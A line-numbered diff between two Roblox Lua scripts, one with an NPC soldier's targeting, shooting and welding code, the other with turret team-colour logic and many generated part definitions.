	for _,v in ipairs(game.Players:GetPlayers())do
784+
			brain.TurretEngine.BrickColor = script.Parent.Parent.TeamColor.Value
785-
		if v.Character and v.Character:FindFirstChild'Humanoid'and v:DistanceFromCharacter(h.Position)<dis then
785+
786-
			dis,pl=v:DistanceFromCharacter(h.Position),v
786+
		if(script.Parent:findFirstChild("Head") ~= nil) then
787
			script.Parent.Head.BrickColor = script.Parent.Parent.TeamColor.Value
788
		end
789
	else
790-
	
790+
		retriveParts(Turret.BodyKit.TeamColorBricks,BrickColor.new("Dark stone grey"))
791
		if(brain:findFirstChild("Point") ~= nil) then
792
			brain.Point.BrickColor = BrickColor.new("Dark stone grey")
793
		end
794-
	if pl then
794+
		if(brain:findFirstChild("TurretEngine") ~= nil) then
795-
		return pl.Character:GetModelCFrame(),dis,CFrame.new(pl.Character.Humanoid.WalkToPoint).lookVector
795+
			brain.TurretEngine.BrickColor = BrickColor.new("Dark stone grey")
796
		end
797
		if(script.Parent:findFirstChild("Head") ~= nil) then
798
			script.Parent.Head.BrickColor = BrickColor.new("Dark stone grey")
799
		end
800
	end
801
end
802
function color()
803-
Spawn(function()
803+
	if(MyTurrets ~= nil) then
804-
	while true do
804+
		for i=1,#MyTurrets do
805-
		t.Humanoid.Jump=true
805+
			setTeam(MyTurrets[i])
806-
		while not w do wait(4)end
806+
807-
		for i=1,math.random(150,160)do
807+
808-
			wait(w)
808+
809
color()
810
script.Parent.Parent.TeamColor.Changed:connect(color)
811
script.Parent.Parent.TeamGame.Changed:connect(color)
812-
Spawn(function()
812+
813-
	while wait(math.random(2,7)/10)do
813+
script.Parent.ChildRemoved:connect(Regen)
814-
		local n=near()
814+
815-
		if n and math.random(1,7)==2 or not n then
815+
Model20.Name = "BodyWork"
816-
			mov.CFrame=t.Torso.CFrame+t.Torso.CFrame.lookVector*Vector3.new(math.random(-50,50),0,math.random(-35,50))
816+
Model20.Parent = Model0
817
Model21.Name = "TeamColors"
818-
			mov.CFrame=n+Vector3.new((math.random(1,2)==1 and 1 or -1)*math.random(25,50),0,(math.random(1,2)==1 and 1 or -1)*math.random(25,50))
818+
Model21.Parent = Model20
819
Part22.Name = "Smooth Block Model"
820-
		wait(0.4)
820+
Part22.Parent = Model21
821-
		t.Humanoid:MoveTo(mov.Position,mov)
821+
Part22.BrickColor = BrickColor.new("White")
822
Part22.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
823
Part22.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
824
Part22.Velocity = Vector3.new(-0.367865503, -0.265364259, 14.2862606)
825
Part22.Size = Vector3.new(6, 1.20000005, 1)
826-
	local n,mag,hum=near()
826+
Part22.CFrame = CFrame.new(-49.5902138, 8.34037495, 125.99807, -0.00775468862, -6.74084877e-05, 0.999963939, 0.00475055212, 0.999988735, 0.000104216793, -0.999950647, 0.00475121522, -0.00775363203)
827-
	if n then
827+
Part22.TopSurface = Enum.SurfaceType.Smooth
828-
		n=n.p
828+
Part22.Color = Color3.new(0.94902, 0.952941, 0.952941)
829-
		if not r then
829+
Part22.Position = Vector3.new(-49.5902138, 8.34037495, 125.99807)
830-
			w=.0001
830+
Part22.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
831-
			local dir=h.Position-n
831+
Part22.Color = Color3.new(0.94902, 0.952941, 0.952941)
832-
			local tst,_=workspace:FindPartOnRay(Ray.new(t.Torso.Position,(n-t.Torso.Position).Unit*99999),t)
832+
SpecialMesh23.Parent = Part22
833-
			local aim=n+Vector3.new(math.random(-mag*.008,mag*.008),math.random(-mag*.009,mag*.009),math.random(-mag*.1,mag*.1))*(2+math.random())+hum
833+
SpecialMesh23.MeshType = Enum.MeshType.Wedge
834-
			if tst and tst.Parent and game.Players:GetPlayerFromCharacter(tst.Parent)then
834+
Part24.Name = "Smooth Block Model"
835-
				
835+
Part24.Parent = Model21
836-
				wait(0.04)
836+
Part24.BrickColor = BrickColor.new("White")
837-
				h.Fire:Play()
837+
Part24.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
838-
				local par,pos=workspace:FindPartOnRay(Ray.new(h.Position,(aim-h.Position).Unit*99999),t)
838+
Part24.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
839-
				if par then
839+
Part24.Velocity = Vector3.new(-0.7984761, -1.38712049, 14.5493574)
840-
					local h=par.Parent:FindFirstChild'Humanoid'or par.Parent.Parent:FindFirstChild'Humanoid'
840+
Part24.Size = Vector3.new(1, 2.4000001, 1)
841-
					if h and h.Health-10>0 then
841+
Part24.CFrame = CFrame.new(-39.6406097, 2.97235489, 119.39518, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
842-
						h.Health=h.Health-10
842+
Part24.Color = Color3.new(0.94902, 0.952941, 0.952941)
843-
					elseif h then
843+
Part24.Position = Vector3.new(-39.6406097, 2.97235489, 119.39518)
844-
						h.Health=0
844+
Part24.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
845-
						h.Parent:BreakJoints()
845+
Part24.Color = Color3.new(0.94902, 0.952941, 0.952941)
846-
						
846+
Part25.Name = "Smooth Block Model"
847
Part25.Parent = Model21
848
Part25.BrickColor = BrickColor.new("White")
849-
				ammo=ammo-1
849+
Part25.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
850-
				mag=(h.Position-pos).magnitude
850+
Part25.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
851-
				b1.Parent,b2.Parent=t,t
851+
Part25.Velocity = Vector3.new(-0.299503148, -0.021796599, 14.3676777)
852-
				b1.CFrame,b2.CFrame=CFrame.new(h.Position:Lerp(pos,.375),pos),CFrame.new(pos:Lerp(h.Position,.125),h.Position)
852+
Part25.Size = Vector3.new(8, 2.4000001, 13)
853-
				b1.Mesh.Scale,b2.Mesh.Scale=Vector3.new(.2,.2,mag*.75),Vector3.new(.2,.2,mag/4)
853+
Part25.CFrame = CFrame.new(-46.0708313, 6.52888298, 128.46225, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
854-
				Delay(.03,function()b1.Parent=nil wait(.03)b2.Parent=nil end)
854+
Part25.Color = Color3.new(0.94902, 0.952941, 0.952941)
855
Part25.Position = Vector3.new(-46.0708313, 6.52888298, 128.46225)
856-
			wait(.05)
856+
Part25.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
857-
			if ammo==0 then
857+
Part25.Color = Color3.new(0.94902, 0.952941, 0.952941)
858-
				reload()
858+
Part26.Name = "Smooth Block Model"
859
Part26.Parent = Model21
860
Part26.BrickColor = BrickColor.new("White")
861
Part26.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
862-
		reload(true)
862+
Part26.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
863-
		w=false
863+
Part26.Velocity = Vector3.new(-0.478259712, -0.29052186, 14.8473902)
864
Part26.CanCollide = false
865
Part26.Size = Vector3.new(8, 2.4000001, 3)
866
Part26.CFrame = CFrame.new(-46.0861168, 2.93842912, 126.445259, -0.999960184, -6.74177281e-05, -0.00775485486, -0.000104206258, 0.999988735, 0.00475054141, 0.00775339734, 0.00475120265, -0.999945641)
867
Part26.BackSurface = Enum.SurfaceType.Weld
868-
Shirt40.Name = "Shirt"
868+
Part26.Color = Color3.new(0.94902, 0.952941, 0.952941)
869-
Shirt40.Parent = Model0
869+
Part26.Position = Vector3.new(-46.0861168, 2.93842912, 126.445259)
870-
Shirt40.ShirtTemplate = "http://www.roblox.com/asset/?id=26349286"
870+
Part26.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
871-
Pants41.Name = "Pants"
871+
Part26.Color = Color3.new(0.94902, 0.952941, 0.952941)
872-
Pants41.Parent = Model0
872+
Part27.Name = "Smooth Block Model"
873-
Pants41.PantsTemplate = "http://www.roblox.com/asset/?id=26349271"
873+
Part27.Parent = Model21
874-
Hat42.Name = "Helm"
874+
Part27.BrickColor = BrickColor.new("White")
875-
Hat42.Parent = Model0
875+
Part27.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
876-
Hat42.AttachmentForward = Vector3.new(0, -0.196116135, -0.980580688)
876+
Part27.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
877-
Hat42.AttachmentPos = Vector3.new(0, -0.100000001, -0.0700000003)
877+
Part27.Velocity = Vector3.new(0.0785052627, 1.04434216, 14.2898769)
878-
Hat42.AttachmentUp = Vector3.new(0, 0.980580688, -0.196116135)
878+
Part27.Size = Vector3.new(8, 1.20000005, 3)
879-
Part43.Name = "Handle"
879+
Part27.CFrame = CFrame.new(-46.008831, 7.09087038, 136.464691, -0.99996376, -6.74089242e-05, -0.00775469653, -0.000104216291, 0.999988735, 0.00475055166, 0.00775362086, 0.00475121476, -0.999950409)
880-
Part43.Parent = Hat42
880+
Part27.TopSurface = Enum.SurfaceType.Smooth
881-
Part43.Material = Enum.Material.CorrodedMetal
881+
Part27.Color = Color3.new(0.94902, 0.952941, 0.952941)
882-
Part43.BrickColor = BrickColor.new("Black")
882+
Part27.Position = Vector3.new(-46.008831, 7.09087038, 136.464691)
883-
Part43.Rotation = Vector3.new(90, -78.6899948, 90)
883+
Part27.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
884-
Part43.CanCollide = false
884+
Part27.Color = Color3.new(0.94902, 0.952941, 0.952941)
885-
Part43.FormFactor = Enum.FormFactor.Symmetric
885+
SpecialMesh28.Parent = Part27
886-
Part43.Size = Vector3.new(1, 1, 1)
886+
SpecialMesh28.MeshType = Enum.MeshType.Wedge
887-
Part43.CFrame = CFrame.new(12.3637447, 5.08433008, 63.8128319, -5.73683906e-07, -0.196116149, -0.980580688, 7.667877e-09, 0.980580688, -0.196116149, 1, -1.2002765e-07, -5.61039542e-07)
887+
Part29.Name = "Smooth Block Model"
888-
Part43.BottomSurface = Enum.SurfaceType.Smooth
888+
Part29.Parent = Model21
889
Part29.BrickColor = BrickColor.new("White")
890-
Part43.Color = Color3.new(0.164706, 0.176471, 0.0823529)
890+
Part29.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
891-
Part43.Position = Vector3.new(12.3637447, 5.08433008, 63.8128319)
891+
Part29.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
892-
Part43.Orientation = Vector3.new(11.3099995, -90, 0)
892+
Part29.Velocity = Vector3.new(0.184230506, 1.35490179, 14.2913895)
893-
Part43.Color = Color3.new(0.164706, 0.176471, 0.0823529)
893+
Part29.Size = Vector3.new(1, 1.20000005, 3)
894
Part29.CFrame = CFrame.new(-42.4856148, 5.8769908, 139.431702, -0.999964118, -6.74080511e-05, -0.0077546807, -0.000104217295, 0.999988735, 0.00475055259, 0.00775364321, 0.00475121569, -0.999950886)
895-
SpecialMesh44.MeshId = "http://www.roblox.com/asset/?id=45609892"
895+
Part29.TopSurface = Enum.SurfaceType.Smooth
896-
SpecialMesh44.Offset = Vector3.new(0, 0.0500000007, -0.150000006)
896+
Part29.Color = Color3.new(0.94902, 0.952941, 0.952941)
897-
SpecialMesh44.Scale = Vector3.new(1.5, 1.5, 1.5)
897+
Part29.Position = Vector3.new(-42.4856148, 5.8769908, 139.431702)
898-
SpecialMesh44.MeshType = Enum.MeshType.FileMesh
898+
Part29.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
899-
SpecialMesh44.Scale = Vector3.new(1.5, 1.5, 1.5)
899+
Part29.Color = Color3.new(0.94902, 0.952941, 0.952941)
900-
Part45.Name = "Handle"
900+
SpecialMesh30.Parent = Part29
901-
Part45.Parent = Model0
901+
SpecialMesh30.MeshType = Enum.MeshType.Wedge
902-
Part45.BrickColor = BrickColor.new("Dark stone grey")
902+
Part31.Name = "Smooth Block Model"
903-
Part45.Transparency = 1
903+
Part31.Parent = Model21
904-
Part45.Rotation = Vector3.new(0, 5, 0)
904+
Part31.BrickColor = BrickColor.new("White")
905-
Part45.CanCollide = false
905+
Part31.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
906-
Part45.FormFactor = Enum.FormFactor.Symmetric
906+
Part31.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
907-
Part45.Size = Vector3.new(2, 1, 1)
907+
Part31.Velocity = Vector3.new(-0.364712536, 0.0425226092, 14.8480921)
908-
Part45.CFrame = CFrame.new(14.0334444, 3.5999999, 64.678299, 0.99619478, 2.74879053e-09, 0.0871551633, -3.49720697e-09, 1, 8.4344931e-09, -0.0871551633, -8.70719674e-09, 0.99619478)
908+
Part31.Size = Vector3.new(2, 2.4000001, 14)
909-
Part45.RightSurface = Enum.SurfaceType.Hinge
909+
Part31.CFrame = CFrame.new(-46.0667114, 2.92655301, 128.945099, -0.00775472028, -6.74102412e-05, 0.999963224, 0.00475054979, 0.999988735, 0.000104214785, -0.999949694, 0.00475121289, -0.00775358733)
910-
Part45.Color = Color3.new(0.388235, 0.372549, 0.384314)
910+
Part31.LeftSurface = Enum.SurfaceType.Weld
911-
Part45.Position = Vector3.new(14.0334444, 3.5999999, 64.678299)
911+
Part31.Color = Color3.new(0.94902, 0.952941, 0.952941)
912-
Part45.Orientation = Vector3.new(0, 5, 0)
912+
Part31.Position = Vector3.new(-46.0667114, 2.92655301, 128.945099)
913-
Part45.Color = Color3.new(0.388235, 0.372549, 0.384314)
913+
Part31.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
914-
Sound46.Name = "Reload"
914+
Part31.Color = Color3.new(0.94902, 0.952941, 0.952941)
915-
Sound46.Parent = Part45
915+
Part32.Name = "Smooth Block Model"
916-
Sound46.Pitch = 0.80000001192093
916+
Part32.Parent = Model21
917-
Sound46.SoundId = "rbxassetid://657701831"
917+
Part32.BrickColor = BrickColor.new("White")
918-
Sound46.Volume = 1
918+
Part32.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
919-
Sound47.Name = "Fire"
919+
Part32.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
920-
Sound47.Parent = Part45
920+
Part32.Velocity = Vector3.new(-0.370319426, -0.442038894, 13.9674177)
921-
Sound47.SoundId = "rbxassetid://541454470"
921+
Part32.Size = Vector3.new(6, 1.20000005, 1)
922-
Sound47.Volume = 1
922+
Part32.CFrame = CFrame.new(-42.5904694, 8.3411026, 125.943794, 0.00775468862, -6.74084877e-05, -0.999963939, -0.00475055212, 0.999988735, -0.000104216793, 0.999950647, 0.00475121522, 0.00775363203)
923-
Part48.Parent = Part45
923+
Part32.TopSurface = Enum.SurfaceType.Smooth
924-
Part48.Rotation = Vector3.new(-5, -90, 0)
924+
Part32.Color = Color3.new(0.94902, 0.952941, 0.952941)
925-
Part48.Size = Vector3.new(0.299999595, 1, 2)
925+
Part32.Position = Vector3.new(-42.5904694, 8.3411026, 125.943794)
926-
Part48.CFrame = CFrame.new(14.380682, 3.71998262, 64.4170761, -9.3130501e-07, 7.96250106e-08, -1, 0.087155737, 0.99619478, -1.84656812e-09, 0.99619472, -0.0871557444, -9.34700893e-07)
926+
Part32.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
927-
Part48.Position = Vector3.new(14.380682, 3.71998262, 64.4170761)
927+
Part32.Color = Color3.new(0.94902, 0.952941, 0.952941)
928-
Part48.Orientation = Vector3.new(0, -90, 5)
928+
SpecialMesh33.Parent = Part32
929-
SpecialMesh49.Parent = Part48
929+
SpecialMesh33.MeshType = Enum.MeshType.Wedge
930-
SpecialMesh49.MeshId = "rbxassetid://477918514"
930+
Part34.Name = "Smooth Block Model"
931-
SpecialMesh49.Scale = Vector3.new(0.0299999993, 0.0299999993, 0.0299999993)
931+
Part34.Parent = Model21
932-
SpecialMesh49.TextureId = "rbxassetid://477918517"
932+
Part34.BrickColor = BrickColor.new("White")
933-
SpecialMesh49.MeshType = Enum.MeshType.FileMesh
933+
Part34.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
934-
SpecialMesh49.Scale = Vector3.new(0.0299999993, 0.0299999993, 0.0299999993)
934+
Part34.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
935-
Script50.Name = "qPerfectionWeld"
935+
Part34.Velocity = Vector3.new(-0.553568482, -0.493480206, 14.8806553)
936-
Script50.Parent = Part45
936+
Part34.CanCollide = false
937-
table.insert(cors,sandbox(Script50,function()
937+
Part34.Size = Vector3.new(3, 1.20000005, 1)
938-
-- Created by Quenty (@Quenty, follow me on twitter).
938+
Part34.CFrame = CFrame.new(-48.6015511, 3.54765773, 124.467613, -0.999959648, -6.73953255e-05, -0.00775434123, -0.000104178216, 0.999988735, 0.00475050695, 0.00775282644, 0.00475116819, -0.999944925)
939-
-- Should work with only ONE copy, seamlessly with weapons, trains, et cetera.
939+
Part34.BackSurface = Enum.SurfaceType.Weld
940-
-- Parts should be ANCHORED before use. It will, however, store relatives values and so when tools are reparented, it'll fix them.
940+
Part34.Color = Color3.new(0.94902, 0.952941, 0.952941)
941
Part34.Position = Vector3.new(-48.6015511, 3.54765773, 124.467613)
942-
--[[ INSTRUCTIONS
942+
Part34.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
943-
- Place in the model
943+
Part34.Color = Color3.new(0.94902, 0.952941, 0.952941)
944-
- Make sure model is anchored
944+
Part35.Name = "Smooth Block Model"
945-
- That's it. It will weld the model and all children. 
945+
Part35.Parent = Model21
946
Part35.BrickColor = BrickColor.new("White")
947-
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
947+
Part35.Rotation = Vector3.new(0.769999981, -89.5199966, 0.5)
948-
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
948+
Part35.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
949-
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
949+
Part35.Velocity = Vector3.new(-0.275333643, 0.176887929, 14.6082363)
950-
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
950+
Part35.Size = Vector3.new(22, 1.20000005, 14)
951-
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
951+
Part35.CFrame = CFrame.new(-46.0590744, 4.72177124, 129.953613, 0.00775467278, -6.74076146e-05, -0.999964297, -0.00475055305, 0.999988735, -0.000104217797, 0.999951124, 0.00475121615, 0.00775365438)
952-
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
952+
Part35.Color = Color3.new(0.94902, 0.952941, 0.952941)
953-
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
953+
Part35.Position = Vector3.new(-46.0590744, 4.72177124, 129.953613)
954-
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
954+
Part35.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
955
Part35.Color = Color3.new(0.94902, 0.952941, 0.952941)
956-
This script is designed to be used is a regular script. In a local script it will weld, but it will not attempt to handle ancestory changes. 
956+
Part36.Name = "Smooth Block Model"
957-
]]
957+
Part36.Parent = Model21
958
Part36.BrickColor = BrickColor.new("White")
959-
--[[ DOCUMENTATION
959+
Part36.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
960-
- Will work in tools. If ran more than once it will not create more than one weld.  This is especially useful for tools that are dropped and then picked up again.
960+
Part36.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
961-
- Will work in PBS servers
961+
Part36.Velocity = Vector3.new(-0.297574908, 0.117019653, 14.6181965)
962-
- Will work as long as it starts out with the part anchored
962+
Part36.Size = Vector3.new(13, 2.4000001, 3)
963-
- Stores the relative CFrame as a CFrame value
963+
Part36.CFrame = CFrame.new(-51.5706329, 6.52831173, 128.504898, -0.0077546807, -6.74080511e-05, 0.999964118, 0.00475055259, 0.999988735, 0.000104217295, -0.999950886, 0.00475121569, -0.00775364321)
964-
- Takes careful measure to reduce lag by not having a joint set off or affected by the parts offset from origin
964+
Part36.TopSurface = Enum.SurfaceType.Smooth
965-
- Utilizes a recursive algorith to find all parts in the model
965+
Part36.Color = Color3.new(0.94902, 0.952941, 0.952941)
966-
- Will reweld on script reparent if the script is initially parented to a tool.
966+
Part36.Position = Vector3.new(-51.5706329, 6.52831173, 128.504898)
967-
- Welds as fast as possible
967+
Part36.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
968-
]]
968+
Part36.Color = Color3.new(0.94902, 0.952941, 0.952941)
969
SpecialMesh37.Parent = Part36
970-
-- qPerfectionWeld.lua
970+
SpecialMesh37.MeshType = Enum.MeshType.Wedge
971-
-- Created 10/6/2014
971+
Part38.Name = "Smooth Block Model"
972-
-- Author: Quenty
972+
Part38.Parent = Model21
973-
-- Version 1.0.3
973+
Part38.BrickColor = BrickColor.new("White")
974
Part38.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
975-
-- Updated 10/14/2014 - Updated to 1.0.1
975+
Part38.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
976-
--- Bug fix with existing ROBLOX welds ? Repro by asimo3089
976+
Part38.Velocity = Vector3.new(-0.160322845, 0.642017663, 14.8493538)
977
Part38.CanCollide = false
978-
-- Updated 10/14/2014 - Updated to 1.0.2
978+
Part38.Size = Vector3.new(8, 2.4000001, 3)
979-
--- Fixed bug fix. 
979+
Part38.CFrame = CFrame.new(-46.0318222, 2.90518284, 133.444916, 0.999958217, -6.74226176e-05, 0.00775494147, 0.000104200764, 0.999988735, -0.00475053536, -0.00775327487, 0.0047511952, 0.999943018)
980
Part38.Color = Color3.new(0.94902, 0.952941, 0.952941)
981-
-- Updated 10/14/2014 - Updated to 1.0.3
981+
Part38.Position = Vector3.new(-46.0318222, 2.90518284, 133.444916)
982-
--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/
982+
Part38.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
983
Part38.Color = Color3.new(0.94902, 0.952941, 0.952941)
984-
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).
984+
Part39.Name = "Smooth Block Model"
985
Part39.Parent = Model21
986
Part39.BrickColor = BrickColor.new("White")
987-
local function CallOnChildren(Instance, FunctionToCall)
987+
Part39.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
988-
	-- Calls a function on each of the children of a certain object, using recursion.  
988+
Part39.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
989
Part39.Velocity = Vector3.new(0.186685145, 1.5315783, 14.6102324)
990-
	FunctionToCall(Instance)
990+
Part39.Size = Vector3.new(1, 1.20000005, 3)
991
Part39.CFrame = CFrame.new(-49.4853592, 5.87626505, 139.485992, -0.999964118, -6.74080511e-05, -0.0077546807, -0.000104217295, 0.999988735, 0.00475055259, 0.00775364321, 0.00475121569, -0.999950886)
992-
	for _, Child in next, Instance:GetChildren() do
992+
Part39.TopSurface = Enum.SurfaceType.Smooth
993-
		CallOnChildren(Child, FunctionToCall)
993+
Part39.Color = Color3.new(0.94902, 0.952941, 0.952941)
994
Part39.Position = Vector3.new(-49.4853592, 5.87626505, 139.485992)
995
Part39.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
996
Part39.Color = Color3.new(0.94902, 0.952941, 0.952941)
997-
local function GetNearestParent(Instance, ClassName)
997+
SpecialMesh40.Parent = Part39
998-
	-- Returns the nearest parent of a certain class, or returns nil
998+
SpecialMesh40.MeshType = Enum.MeshType.Wedge
999
Part41.Name = "Smooth Block Model"
1000-
	local Ancestor = Instance
1000+
Part41.Parent = Model21
1001-
	repeat
1001+
Part41.BrickColor = BrickColor.new("White")
1002-
		Ancestor = Ancestor.Parent
1002+
Part41.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
1003-
		if Ancestor == nil then
1003+
Part41.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1004-
			return nil
1004+
Part41.Velocity = Vector3.new(-0.662859797, -1.08755779, 14.3654318)
1005
Part41.Size = Vector3.new(8, 2.4000001, 3)
1006-
	until Ancestor:IsA(ClassName)
1006+
Part41.CFrame = CFrame.new(-46.1328697, 6.56688595, 120.462631, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
1007
Part41.TopSurface = Enum.SurfaceType.Smooth
1008-
	return Ancestor
1008+
Part41.Color = Color3.new(0.94902, 0.952941, 0.952941)
1009
Part41.Position = Vector3.new(-46.1328697, 6.56688595, 120.462631)
1010
Part41.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
1011-
local function GetBricks(StartInstance)
1011+
Part41.Color = Color3.new(0.94902, 0.952941, 0.952941)
1012-
	local List = {}
1012+
SpecialMesh42.Parent = Part41
1013
SpecialMesh42.MeshType = Enum.MeshType.Wedge
1014-
	-- if StartInstance:IsA("BasePart") then
1014+
Part43.Name = "Smooth Block Model"
1015-
	-- 	List[#List+1] = StartInstance
1015+
Part43.Parent = Model21
1016-
	-- end
1016+
Part43.BrickColor = BrickColor.new("White")
1017
Part43.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
1018-
	CallOnChildren(StartInstance, function(Item)
1018+
Part43.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1019-
		if Item:IsA("BasePart") then
1019+
Part43.Velocity = Vector3.new(0.185457885, 1.44324017, 14.4508104)
1020-
			List[#List+1] = Item;
1020+
Part43.Size = Vector3.new(4, 1.20000005, 3)
1021
Part43.CFrame = CFrame.new(-45.9854851, 5.87662983, 139.458847, -0.999964118, -6.74080511e-05, -0.0077546807, -0.000104217295, 0.999988735, 0.00475055259, 0.00775364321, 0.00475121569, -0.999950886)
1022
Part43.TopSurface = Enum.SurfaceType.Smooth
1023
Part43.Color = Color3.new(0.94902, 0.952941, 0.952941)
1024-
	return List
1024+
Part43.Position = Vector3.new(-45.9854851, 5.87662983, 139.458847)
1025
Part43.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
1026
Part43.Color = Color3.new(0.94902, 0.952941, 0.952941)
1027-
local function Modify(Instance, Values)
1027+
1028-
	-- Modifies an Instance by using a table.  
1028+
SpecialMesh44.MeshType = Enum.MeshType.Wedge
1029
Part45.Name = "Smooth Block Model"
1030-
	assert(type(Values) == "table", "Values is not a table");
1030+
Part45.Parent = Model21
1031
Part45.BrickColor = BrickColor.new("White")
1032-
	for Index, Value in next, Values do
1032+
Part45.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
1033-
		if type(Index) == "number" then
1033+
Part45.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1034-
			Value.Parent = Instance
1034+
Part45.Velocity = Vector3.new(0.155333877, 1.41049933, 14.5552521)
1035
Part45.Size = Vector3.new(1, 2.4000001, 1)
1036-
			Instance[Index] = Value
1036+
Part45.CFrame = CFrame.new(-39.4777756, 2.87259507, 140.39415, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
1037
Part45.Color = Color3.new(0.94902, 0.952941, 0.952941)
1038
Part45.Position = Vector3.new(-39.4777756, 2.87259507, 140.39415)
1039-
	return Instance
1039+
Part45.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
1040
Part45.Color = Color3.new(0.94902, 0.952941, 0.952941)
1041
Part46.Name = "Smooth Block Model"
1042-
local function Make(ClassType, Properties)
1042+
Part46.Parent = Model21
1043-
	-- Using a syntax hack to create a nice way to Make new items.  
1043+
Part46.BrickColor = BrickColor.new("White")
1044
Part46.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
1045-
	return Modify(Instance.new(ClassType), Properties)
1045+
Part46.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1046
Part46.Velocity = Vector3.new(0.172265053, 1.57493377, 14.7712736)
1047
Part46.Size = Vector3.new(1, 1.20000005, 8)
1048-
local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"}
1048+
Part46.CFrame = CFrame.new(-45.9775696, 3.4719131, 140.447388, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
1049-
local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"}
1049+
Part46.Color = Color3.new(0.94902, 0.952941, 0.952941)
1050
Part46.Position = Vector3.new(-45.9775696, 3.4719131, 140.447388)
1051-
local function HasWheelJoint(Part)
1051+
Part46.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
1052-
	for _, SurfaceName in pairs(Surfaces) do
1052+
Part46.Color = Color3.new(0.94902, 0.952941, 0.952941)
1053-
		for _, HingSurfaceName in pairs(HingSurfaces) do
1053+
Part47.Name = "Smooth Block Model"
1054-
			if Part[SurfaceName].Name == HingSurfaceName then
1054+
Part47.Parent = Model21
1055-
				return true
1055+
Part47.BrickColor = BrickColor.new("White")
1056
Part47.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
1057
Part47.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1058
Part47.Velocity = Vector3.new(-0.301431358, -0.160612941, 14.1171579)
1059-
	
1059+
Part47.Size = Vector3.new(13, 2.4000001, 3)
1060-
	return false
1060+
